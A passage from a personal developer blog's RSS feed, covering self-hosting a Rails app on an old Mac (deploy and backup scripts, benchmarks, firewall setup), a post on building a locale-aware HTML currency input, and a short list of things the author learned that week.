<span class="pl-c"># config/application.rb</span>
<span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">hosts</span> &lt;&lt; <span class="pl-s">"m.jch.app"</span>
<span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">logger</span> <span class="pl-c1">=</span> <span class="pl-v">Logger</span><span class="pl-kos">.</span><span class="pl-en">new</span><span class="pl-kos">(</span><span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">paths</span><span class="pl-kos">[</span><span class="pl-s">'log'</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">first</span><span class="pl-kos">,</span> <span class="pl-c1">1</span><span class="pl-kos">,</span> <span class="pl-c1">100</span><span class="pl-kos">.</span><span class="pl-en">megabytes</span><span class="pl-kos">)</span>

<span class="pl-c"># config/environments/production.rb</span>
<span class="pl-c"># assets will be cached by thruster</span>
<span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">public_file_server</span><span class="pl-kos">.</span><span class="pl-en">enabled</span> <span class="pl-c1">=</span> <span class="pl-c1">true</span>
<span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">public_file_server</span><span class="pl-kos">.</span><span class="pl-en">headers</span> <span class="pl-c1">=</span> <span class="pl-kos">{</span>
  <span class="pl-s">'Cache-Control'</span> <span class="pl-c1">=&gt;</span> <span class="pl-s">'public, s-maxage=31536000, max-age=15552000'</span><span class="pl-kos">,</span>
  <span class="pl-s">'Expires'</span> <span class="pl-c1">=&gt;</span> <span class="pl-c1">1</span><span class="pl-kos">.</span><span class="pl-en">year</span><span class="pl-kos">.</span><span class="pl-en">from_now</span><span class="pl-kos">.</span><span class="pl-en">to_formatted_s</span><span class="pl-kos">(</span><span class="pl-pds">:rfc822</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span>

<span class="pl-c"># config/master.key from digital ocean</span></pre></div>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> Starting server in development for testing</span>
$ DEBUG=1 TLS_DOMAIN=m.jch.app thrust bin/rails server
$ curl -Iv https://m.jch.app

<span class="pl-c"><span class="pl-c">#</span> Starting server in production</span>
DEBUG=1 TLS_DOMAIN=jch.app caffeinate -s thrust bin/rails server -e production
$ curl -Iv https://m.jch.app</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Deployment</h2><a id="user-content-deployment" class="anchor" aria-label="Permalink: Deployment" href="#deployment"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Previously, I had deployment setup with Kamal and containers. With development and production being the same, I wrote a bash script for simplicity. Deploys take ~13 seconds.</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#!</span>/usr/bin/env bash</span>
<span class="pl-c"><span class="pl-c">#</span> bin/deploy</span>
<span class="pl-c1">set</span> -e

APP_ROOT=<span class="pl-s"><span class="pl-pds">$(</span>dirname <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$0</span><span class="pl-pds">"</span></span><span class="pl-pds">)</span></span>/..
<span class="pl-c1">cd</span> <span class="pl-smi">$APP_ROOT</span>
<span class="pl-c1">source</span> <span class="pl-smi">$APP_ROOT</span>/.env

git stash <span class="pl-k">&gt;</span> /dev/null

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Pulling the latest changes...<span class="pl-pds">"</span></span>
git pull
<span class="pl-c1">echo</span>

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Bundling dependencies...<span class="pl-pds">"</span></span>
BUNDLE_DEPLOYMENT=1 BUNDLE_WITHOUT=development:test BUNDLE_WITHOUT_DOCUMENTATION=true bin/bundle
<span class="pl-c1">echo</span>

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Migrating the database...<span class="pl-pds">"</span></span>
bin/rails db:migrate
<span class="pl-c1">echo</span>

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Precompiling assets...<span class="pl-pds">"</span></span>
bin/rails assets:precompile
<span class="pl-c1">echo</span>

bin/rails runner <span class="pl-s"><span class="pl-pds">"</span>puts 'Checking app loads...'<span class="pl-pds">"</span></span>
<span class="pl-c1">echo</span>

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Restarting the app...<span class="pl-pds">"</span></span>
touch tmp/restart.txt
<span class="pl-c1">echo</span>

<span class="pl-c1">echo</span> <span class="pl-s"><span class="pl-pds">"</span>Cleaning up old logs...<span class="pl-pds">"</span></span>
rm log/<span class="pl-k">*</span>.log.<span class="pl-k">*</span> <span class="pl-k">2&gt;</span>/dev/null <span class="pl-k">||</span> <span class="pl-c1">true</span>
<span class="pl-c1">echo</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">Processes</h2><a id="user-content-processes" class="anchor" aria-label="Permalink: Processes" href="#processes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>These are run in a <code>screen</code> session for access via ssh. <code>caffeinate</code> keeps the mac awake.</p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c1">cd</span> ddns-updater<span class="pl-k">;</span> ./ddns-updater_2.8.1_darwin_amd64
<span class="pl-c1">cd</span> roboplan<span class="pl-k">;</span> DEBUG=1 TLS_DOMAIN=m.jch.app RAILS_ENV=production WEB_CONCURRENCY=4 RAILS_MAX_THREADS=1 caffeinate -s thrust bin/rails server
htop  <span class="pl-c"><span class="pl-c">#</span> F4 Filter 'puma'</span>
<span class="pl-c1">cd</span> roboplan<span class="pl-k">;</span> tail -f log/production.log</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Backups</h2><a id="user-content-backups" class="anchor" aria-label="Permalink: Backups" href="#backups"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<div class="highlight highlight-source-shell"><pre>$ crontab -l
0 8 <span class="pl-k">*</span> <span class="pl-k">*</span> 1-5 /Users/jch/roboplan/bin/backup</pre></div>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#!</span>/usr/bin/env bash</span>
<span class="pl-c"><span class="pl-c">#</span> bin/backup</span>
<span class="pl-c1">set</span> -e

APP_ROOT=<span class="pl-s"><span class="pl-pds">$(</span>dirname <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$0</span><span class="pl-pds">"</span></span><span class="pl-pds">)</span></span>/..
<span class="pl-c1">source</span> <span class="pl-smi">$APP_ROOT</span>/.env

<span class="pl-k">if</span> [ <span class="pl-k">-n</span> <span class="pl-s"><span class="pl-pds">"</span><span class="pl-smi">$1</span><span class="pl-pds">"</span></span> ]<span class="pl-k">;</span> <span class="pl-k">then</span>
  BACKUP_ROOT=<span class="pl-smi">$1</span>
<span class="pl-k">else</span>
  BACKUP_ROOT=<span class="pl-smi">$APP_ROOT</span>/backups
<span class="pl-k">fi</span>

mkdir -p <span class="pl-smi">$BACKUP_ROOT</span>
ls -t <span class="pl-smi">$BACKUP_ROOT</span> <span class="pl-k">|</span> tail -n +11 <span class="pl-k">|</span> xargs rm -rf

BACKUP_DIR=<span class="pl-smi">$BACKUP_ROOT</span>/<span class="pl-smi">${POSTGRES_DB}</span>_<span class="pl-s"><span class="pl-pds">$(</span>date +%Y-%m-%d<span class="pl-pds">)</span></span>
NUM_JOBS=<span class="pl-s"><span class="pl-pds">$(</span>/usr/sbin/sysctl -n hw.physicalcpu <span class="pl-k">2&gt;</span>/dev/null <span class="pl-k">||</span> <span class="pl-c1">echo</span> 1<span class="pl-pds">)</span></span>

pg_dump <span class="pl-smi">$POSTGRES_DB</span> --format=d --jobs=<span class="pl-smi">$NUM_JOBS</span> --clean --no-owner --if-exists --file <span class="pl-smi">$BACKUP_DIR</span> <span class="pl-k">&gt;</span> /dev/null

find <span class="pl-smi">$BACKUP_ROOT</span> -type d <span class="pl-k">|</span> xargs du -sh</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Benchmarks</h2><a id="user-content-benchmarks" class="anchor" aria-label="Permalink: Benchmarks" href="#benchmarks"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>ruby 3.3.5</li>
<li>rails 7.1.2</li>
<li>postgresql 17.0</li>
<li>disable wifi to ensure testing on ethernet interface</li>
<li>run multiple times to warm up servers</li>
</ul>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> 1 worker, 3 threads (baseline from digital ocean)</span>
$ wrk -t10 -c100 -d30s https://m.jch.app
Running 30s <span class="pl-c1">test</span> @ https://m.jch.app
  10 threads and 100 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
    Latency    41.68ms   93.04ms   1.81s    99.34%
    Req/Sec    23.56     14.24    70.00     68.77%
  2510 requests <span class="pl-k">in</span> 30.08s, 46.16MB <span class="pl-c1">read</span>
  Socket errors: connect 0, <span class="pl-c1">read</span> 0, write 0, timeout 234
Requests/sec:     83.43
Transfer/sec:      1.53MB

<span class="pl-c"><span class="pl-c">#</span> 4 workers, 1 thread on mac (roughly ~3x, more threads don't help)</span>
$ TLS_DOMAIN=m.jch.com RAILS_MAX_THREADS=1 WEB_CONCURRENCY=4 RAILS_ENV=production thrust bin/rails server
$ wrk -t10 -c100 -d30s https://m.jch.app
Running 30s <span class="pl-c1">test</span> @ https://m.jch.app
  10 threads and 100 connections
  Thread Stats   Avg      Stdev     Max   +/- Stdev
     Latency    29.96ms  128.94ms   1.92s    98.38%
     Req/Sec    46.60     36.89   220.00     71.97%
  8074 requests <span class="pl-k">in</span> 30.10s, 148.47MB <span class="pl-c1">read</span>
  Socket errors: connect 0, <span class="pl-c1">read</span> 0, write 0, timeout 814
Requests/sec:    268.21
Transfer/sec:      4.93MB</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Power management</h2><a id="user-content-power-management" class="anchor" aria-label="Permalink: Power management" href="#power-management"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I thought the battery would be a nice UPS in case of a power outage, but it's completely shot. I realized this one day when our robovac bumped the power adapter loose and the site went down. No plans to replace the battery because this generation of laptop required replacing the entire top case (keyboard / battery).</p>
<div class="highlight highlight-source-shell"><pre>$ pmset -g batt <span class="pl-k">|</span> grep -v <span class="pl-s"><span class="pl-pds">"</span>drawing from 'AC Power'<span class="pl-pds">"</span></span> <span class="pl-k">&amp;&amp;</span> osascript -e <span class="pl-s"><span class="pl-pds">'</span>tell application "Messages" to send "Ack! Powers out" to buddy "jollyjerry@gmail.com"<span class="pl-pds">'</span></span>
</pre></div>
<div class="markdown-heading"><h2 class="heading-element">Development</h2><a id="user-content-development" class="anchor" aria-label="Permalink: Development" href="#development"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Access development server from phone or other devices for testing. These are part of <code>bin/setup</code></p>
<div class="highlight highlight-source-shell"><pre><span class="pl-c"><span class="pl-c">#</span> Jerrys-MacBook-Pro, accessible at Jerrys-MacBook-Pro.local via mDNS</span>
scutil --get LocalHostName
scutil --set LocalHostName roboplan-dev  <span class="pl-c"><span class="pl-c">#</span> roboplan-dev.local</span>

<span class="pl-c"><span class="pl-c">#</span> Firewall configuration, still bit wonky</span>
sudo codesign --force --sign - <span class="pl-s"><span class="pl-pds">$(</span>which ruby<span class="pl-pds">)</span></span>
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --add <span class="pl-s"><span class="pl-pds">$(</span>which ruby<span class="pl-pds">)</span></span>
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --listapps

<span class="pl-c"><span class="pl-c">#</span> Test firewall and dns</span>
ruby -run -e httpd <span class="pl-c1">.</span> -p 3000
curl http://localhost:3000
curl http://<span class="pl-s"><span class="pl-pds">$(</span>ifconfig <span class="pl-k">|</span> grep 192 <span class="pl-k">|</span> awk <span class="pl-s"><span class="pl-pds">'</span>{print $2}<span class="pl-pds">'</span></span><span class="pl-pds">)</span></span>:3000
curl http://roboplan-dev.local:3000</pre></div>
<div class="highlight highlight-source-ruby"><pre><span class="pl-c"># config/development.rb</span>
<span class="pl-en">config</span><span class="pl-kos">.</span><span class="pl-en">hosts</span> &lt;&lt; <span class="pl-s">`scutil --get LocalHostName`</span><span class="pl-kos">.</span><span class="pl-en">strip</span> + <span class="pl-s">'.local'</span></pre></div>
<p>Thank you for stopping by and reading, and I hope you this inspires you to save some old hardware too.</p>
  ]]></description>
</item>

<item>
  <title>Progressive HTML Currency Input</title>
  <link>https://jch.github.io/posts/2024-11-01-html-currency-input.html
</link>
  <guid>https://jch.github.io/posts/2024-11-01-html-currency-input.html
</guid>
  <pubDate>Fri, 01 Nov 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<p>When entering a money value, I like to see the number in my locale. For example, <code>1000000</code> is easier to read as <code>$1,000,000</code>, but a German would expect <code>1.000.000 €</code>. There are many different approaches spanning a decade+ of internet posts. This post talks about the difference approaches and tradeoffs, and what I implemented for my app <a href="https://jch.app" rel="nofollow">https://jch.app</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Context</h2><a id="user-content-context" class="anchor" aria-label="Permalink: Context" href="#context"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>In my app, users can enter a financial independence goal and their annual expenses. These numbers can be thousands or millions, so it's more readable to have a currency symbol and some separators. My goals are:</p>
<ul>
<li>Form submits a numeric value</li>
<li>Cursor doesn't jump around when user is editing the value</li>
<li>Preview a formatted currency</li>
</ul>
<div class="markdown-heading"><h2 class="heading-element">1. Basic HTML input</h2><a id="user-content-1-basic-html-input" class="anchor" aria-label="Permalink: 1. Basic HTML input" href="#1-basic-html-input"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p><code>&lt;input type="number" /&gt;</code> has built-in browser validation and a numeric keyboard on mobile. The step controls make sense if you want to make it easy for users to go up or down by $1 or $0.01, but different people have very different FI numbers and annual expenses.</p>
<p>From the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number#using_number_inputs" rel="nofollow">MDN docs</a>:</p>
<blockquote>
<p>The number input type should only be used for incremental numbers, especially when spinbutton incrementing and decrementing are helpful to user experience. The number input type is not appropriate for values that happen to only consist of numbers but aren't strictly speaking a number, such as postal codes in many countries or credit card numbers.</p>
</blockquote>
<p><code>&lt;input type="text" inputmode="decimal /&gt;</code> still gives a numeric keyboard on mobile, but skips the step controls. I started with this, but ran into readability issues for bigger numbers.</p>
<div class="markdown-heading"><h2 class="heading-element">2. Choose a common value</h2><a id="user-content-2-choose-a-common-value" class="anchor" aria-label="Permalink: 2. Choose a common value" href="#2-choose-a-common-value"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A donation site might have buttons for $5, $10, $20, $100, and a custom donation amount. This makes sense if you want to anchor a user to some suggested value. It's also helpful if it helps users do some calculation like a percentage based tip. I thought about making a default like $1MM for an FI goal, but again, I didn't think it was better to have a default value.</p>
<div class="markdown-heading"><h2 class="heading-element">3. Masking with a formatted value</h2><a id="user-content-3-masking-with-a-formatted-value" class="anchor" aria-label="Permalink: 3. Masking with a formatted value" href="#3-masking-with-a-formatted-value"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>There are a lot of libraries that format currency as a user types (see notes). React seems the most popular at the moment (2024), but there are posts for jQuery from a decade ago. Looking at the source for these libraries was helpful:</p>
<ul>
<li>Setting an input's value resets it's cursor position to the end</li>
<li>Attempts to maintain cursor position programmatically while formatting the same text is complex, buggy, and brittle</li>
</ul>
<p>Banking apps have the best implementation of this approach. To prevent the cursor jumping around while editing, they force the cursor to the beginning or the end.</p>
<p>Bank of America starts the cursor at the end. As you enter numbers, the cursor stays at the end and fills in each digit from right to left ($0.01 $0.12 $1.23 $12.34) Weirdly, it also lets you move the cursor to the front, but it jumps back to the end when you enter a number ($0.00, enter a 2 gives you $20.00 and the cursor is at the end again.)</p>
<p>Paypal's approach feels more intuitive. It starts the cursor at the beginning ($), adding commas as you type left to right ($1 $12 $123 $1,234). It forbids you from moving the cursor to change the middle. You have to delete to go back, and it updates any separators as you edit.</p>
<p>While I like PayPal's experience in a native context, I don't want to fight the browser and try to override the cursor position.</p>
<div class="markdown-heading"><h2 class="heading-element">4. Preview formatted money when not editing</h2><a id="user-content-4-preview-formatted-money-when-not-editing" class="anchor" aria-label="Permalink: 4. Preview formatted money when not editing" href="#4-preview-formatted-money-when-not-editing"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>A variant to masking with a formatted value, separating the visual formatted value from the input's number value simplifies the implementation, but isn't as intuitive for user experience. My favorite example of this is in spreadsheets. A cell with a numeric value can be formatted in different ways, but the underlying value is still a number. When you edit the cell, there are no separators. Only when you finish editing (cell loses focus), does the value get formatted.</p>
<p>Here's one implementation that does this, but reusing the same form control means that the server has to parse the formatted value back to a number. The React component kept separate state for the formatted value and the raw number value.</p>
<div class="highlight highlight-text-html-basic"><pre><span class="pl-kos">&lt;</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>Try entering some long and short numbers...<span class="pl-kos">&lt;/</span><span class="pl-ent">p</span><span class="pl-kos">&gt;</span>
  <span class="pl-kos">&lt;</span><span class="pl-ent">input</span> <span class="pl-c1">class</span>="<span class="pl-s">currency</span>" <span class="pl-c1">inputmode</span>="<span class="pl-s">decimal</span>" <span class="pl-c1">type</span>="<span class="pl-s">text</span>" <span class="pl-c1">value</span>="<span class="pl-s">1234.56</span>" <span class="pl-c1">style</span>="<span class="pl-s">padding: 0.5em; font-size: 1.2em</span>"<span class="pl-kos">&gt;</span>
<span class="pl-kos">&lt;/</span><span class="pl-ent">label</span><span class="pl-kos">&gt;</span></pre></div>
<div class="highlight highlight-source-js"><pre><span class="pl-c1">&lt;</span><span class="pl-s1">script</span> <span class="pl-c1">id</span><span class="pl-c1">=</span><span class="pl-s">"currencyJs"</span> <span class="pl-c1">type</span><span class="pl-c1">=</span><span class="pl-s">"module"</span><span class="pl-c1">&gt;</span>
  const iso_4217 = <span class="pl-kos">{</span>
    <span class="pl-s">'en-US'</span>: <span class="pl-s">'USD'</span><span class="pl-kos">,</span>
    <span class="pl-s">'en-GB'</span>: <span class="pl-s">'GBP'</span><span class="pl-kos">,</span>
    <span class="pl-s">'de-DE'</span>: <span class="pl-s">'EUR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'fr-FR'</span>: <span class="pl-s">'EUR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'es-ES'</span>: <span class="pl-s">'EUR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'it-IT'</span>: <span class="pl-s">'EUR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'ja-JP'</span>: <span class="pl-s">'JPY'</span><span class="pl-kos">,</span>
    <span class="pl-s">'zh-CN'</span>: <span class="pl-s">'CNY'</span><span class="pl-kos">,</span>
    <span class="pl-s">'ko-KR'</span>: <span class="pl-s">'KRW'</span><span class="pl-kos">,</span>
    <span class="pl-s">'ru-RU'</span>: <span class="pl-s">'RUB'</span><span class="pl-kos">,</span>
    <span class="pl-s">'ar-SA'</span>: <span class="pl-s">'SAR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'hi-IN'</span>: <span class="pl-s">'INR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'pt-BR'</span>: <span class="pl-s">'BRL'</span><span class="pl-kos">,</span>
    <span class="pl-s">'tr-TR'</span>: <span class="pl-s">'TRY'</span><span class="pl-kos">,</span>
    <span class="pl-s">'nl-NL'</span>: <span class="pl-s">'EUR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'pl-PL'</span>: <span class="pl-s">'PLN'</span><span class="pl-kos">,</span>
    <span class="pl-s">'th-TH'</span>: <span class="pl-s">'THB'</span><span class="pl-kos">,</span>
    <span class="pl-s">'vi-VN'</span>: <span class="pl-s">'VND'</span><span class="pl-kos">,</span>
    <span class="pl-s">'id-ID'</span>: <span class="pl-s">'IDR'</span><span class="pl-kos">,</span>
    <span class="pl-s">'ms-MY'</span>: <span class="pl-s">'MYR'</span><span class="pl-kos">,</span>
  <span class="pl-kos">}</span>;

  const CurrencyInput = class <span class="pl-kos">{</span>
    <span class="pl-en">constructor</span><span class="pl-kos">(</span><span class="pl-s1">element</span><span class="pl-kos">)</span><span class="pl-kos"></span> <span class="pl-kos">{</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span> <span class="pl-c1">=</span> <span class="pl-s1">element</span><span class="pl-kos">;</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">locale</span> <span class="pl-c1">=</span> <span class="pl-s1">navigator</span><span class="pl-kos">.</span><span class="pl-c1">language</span> <span class="pl-c1">||</span> <span class="pl-s1">navigator</span><span class="pl-kos">.</span><span class="pl-c1">userLanguage</span> <span class="pl-c1">||</span> <span class="pl-s">'en-US'</span><span class="pl-kos">;</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-en">addEventListener</span><span class="pl-kos">(</span><span class="pl-s">'blur'</span><span class="pl-kos">,</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">format</span><span class="pl-kos">.</span><span class="pl-en">bind</span><span class="pl-kos">(</span><span class="pl-smi">this</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-en">addEventListener</span><span class="pl-kos">(</span><span class="pl-s">'focus'</span><span class="pl-kos">,</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">unformat</span><span class="pl-kos">.</span><span class="pl-en">bind</span><span class="pl-kos">(</span><span class="pl-smi">this</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-en">format</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>

    get formatter() <span class="pl-kos">{</span>
      <span class="pl-s1">return</span> <span class="pl-k">new</span> <span class="pl-v">Intl</span><span class="pl-kos">.</span><span class="pl-c1">NumberFormat</span><span class="pl-kos">(</span><span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">locale</span><span class="pl-kos">,</span> <span class="pl-kos">{</span>
        <span class="pl-c1">style</span>: <span class="pl-s">"currency"</span><span class="pl-kos">,</span>
        <span class="pl-c1">currency</span>: <span class="pl-s1">iso_4217</span><span class="pl-kos">[</span><span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">locale</span><span class="pl-kos">]</span> <span class="pl-c1">||</span> <span class="pl-s">'USD'</span><span class="pl-kos">,</span>
      <span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>

    format() <span class="pl-kos">{</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">raw</span> <span class="pl-c1">=</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-c1">value</span><span class="pl-kos">;</span>

      <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-c1">!</span><span class="pl-en">isNaN</span><span class="pl-kos">(</span><span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-c1">value</span><span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos"></span> <span class="pl-kos">{</span>
        <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-c1">value</span> <span class="pl-c1">=</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">formatter</span><span class="pl-kos">.</span><span class="pl-en">format</span><span class="pl-kos">(</span><span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-c1">value</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
      <span class="pl-kos">}</span>
    <span class="pl-kos">}</span>

    <span class="pl-s1">unformat</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-kos">{</span>
      <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">element</span><span class="pl-kos">.</span><span class="pl-c1">value</span> <span class="pl-c1">=</span> <span class="pl-smi">this</span><span class="pl-kos">.</span><span class="pl-c1">raw</span><span class="pl-kos">;</span>
    <span class="pl-kos">}</span>
  <span class="pl-kos">}</span><span class="pl-kos">;</span>

  <span class="pl-k">new</span> <span class="pl-v">CurrencyInput</span><span class="pl-kos">(</span><span class="pl-smi">document</span><span class="pl-kos">.</span><span class="pl-s1">querySelector</span><span class="pl-kos">(</span>'<span class="pl-kos">.</span><span class="pl-s1">currency</span>'<span class="pl-kos">)</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">&lt;/</span><span class="pl-s1">script</span><span class="pl-c1">&gt;</span></pre></div>
<div class="markdown-heading"><h2 class="heading-element">5. Form submits a number</h2><a id="user-content-5-form-submits-a-number" class="anchor" aria-label="Permalink: 5. Form submits a number" href="#5-form-submits-a-number"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To submit a number and display a formatted value, I create a 2nd input element and toggle the visibility on focus and blur. The formatted input does not have a <code>name</code> attribute, so it is not submitted with the form, while the original input keeps the number value. This is more complex, but keeps the changes localized at the input element so the form does not need to be aware. It's also a progressive enhancement of the original input, allowing it to work without javascript.</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/currency-input.gif"><img src="/images/currency-input.gif" width="220" height="480" style="max-width: 100%;"></a></p>
<div class="markdown-heading"><h2 class="heading-element">Conclusion</h2><a id="user-content-conclusion" class="anchor" aria-label="Permalink: Conclusion" href="#conclusion"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>The separation of the numeric value for form submission from visual presentation is key. Trying to maintain the state of both through input.value isn’t sufficient. React has a advantage here for managing state, and I'm following a simliar pattern by maintaining the number state and formatted state in the DOM.</p>
<p>Similar to the approach detailed in the notes, I format as a currency when an input loses focus, and switch back to the raw value when the input is being edited. The increased complexity of maintaining cursor position was not worth the improvement in user experience.</p>
<div class="markdown-heading"><h2 class="heading-element">Notes</h2><a id="user-content-notes" class="anchor" aria-label="Permalink: Notes" href="#notes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<ul>
<li>
<code>navigator.language</code> is widely available for locale information</li>
<li>ISO 4217 defines currency codes by locale</li>
<li>
<code>Intl.NumberFormat</code> and <code>Number.prototype.toLocaleString</code> can format numbers as locale-aware currencies</li>
<li>
<a href="https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#concept-textarea/input-selection" rel="nofollow">https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#concept-textarea/input-selection</a> cursor position on input update</li>
<li>Why not use a number input type? <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number#using_number_inputs" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/number#using_number_inputs</a>
</li>
<li>Format onblur, use real value when editing: <a href="https://levelup.gitconnected.com/creating-a-localized-currency-input-in-react-without-libraries-or-bugs-2f186124aedc?gi=b8408a661baa" rel="nofollow">https://levelup.gitconnected.com/creating-a-localized-currency-input-in-react-without-libraries-or-bugs-2f186124aedc?gi=b8408a661baa</a>
</li>
<li>Cursor position arithmetic, too complex to maintain: <a href="https://stackoverflow.com/a/39279790" rel="nofollow">https://stackoverflow.com/a/39279790</a>
</li>
<li>
<a href="https://github.com/toarm/number-format?tab=readme-ov-file">https://github.com/toarm/number-format?tab=readme-ov-file</a> web component for display, but not an extension on input</li>
<li>
<a href="https://github.com/IngressoRapidoWebComponents/money-input?tab=readme-ov-file">https://github.com/IngressoRapidoWebComponents/money-input?tab=readme-ov-file</a> web component on input, has cursor position issue</li>
<li><a href="https://devtoolstips.org/tips/en/inspect-user-agent-dom/" rel="nofollow">https://devtoolstips.org/tips/en/inspect-user-agent-dom/</a></li>
<li>Forcing input cursor to the end: <a href="https://stackoverflow.com/questions/511088/use-javascript-to-place-cursor-at-end-of-text-in-text-input-element" rel="nofollow">https://stackoverflow.com/questions/511088/use-javascript-to-place-cursor-at-end-of-text-in-text-input-element</a>
</li>
<li>Replacing the input’s value on change puts the cursor at the end of the input, while using setRangeText gives more control over where the cursor lands. Attempts to solve this programmatically with arithmetic on <code>input.selectionStart</code> and <code>input.selectionEnd</code> are brittle.</li>
</ul>
  ]]></description>
</item>

<item>
  <title>Things I learned this week</title>
  <link>https://jch.github.io/posts/2024-10-27-things-i-learned.html
</link>
  <guid>https://jch.github.io/posts/2024-10-27-things-i-learned.html
</guid>
  <pubDate>Sun, 27 Oct 2024 00:00:00 -0700</pubDate>
  <description><![CDATA[
<ol>
<li>View transitions and Turbo <a href="https://jch.github.io/turbo-cancel-view-transition/" rel="nofollow">https://jch.github.io/turbo-cancel-view-transition/</a>. Better understanding of Turbo lifecycle events.</li>
<li>cwebp to convert png to webp, decreased homepage carousel image sizes by 40%. <a href="https://developers.google.com/speed/webp/docs/cwebp" rel="nofollow">https://developers.google.com/speed/webp/docs/cwebp</a>
</li>
<li>Server timing API <a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Server_timing" rel="nofollow">https://developer.mozilla.org/en-US/docs/Web/API/Performance_API/Server_timing</a>
</li>
<li>Pwa asset generator for iOS splash screens. Atrocious I have to add 36 lines in the head to support a splash screen. <a href="https://github.com/elegantapp/pwa-asset-generator">https://github.com/elegantapp/pwa-asset-generator</a>
</li>
<li>Cloudflare web performance report</li>
</ol>
  ]]></description>
</item>

<item>
  <title>Customizing Turbo lifecycle events: iOS swipe view transitions</title>
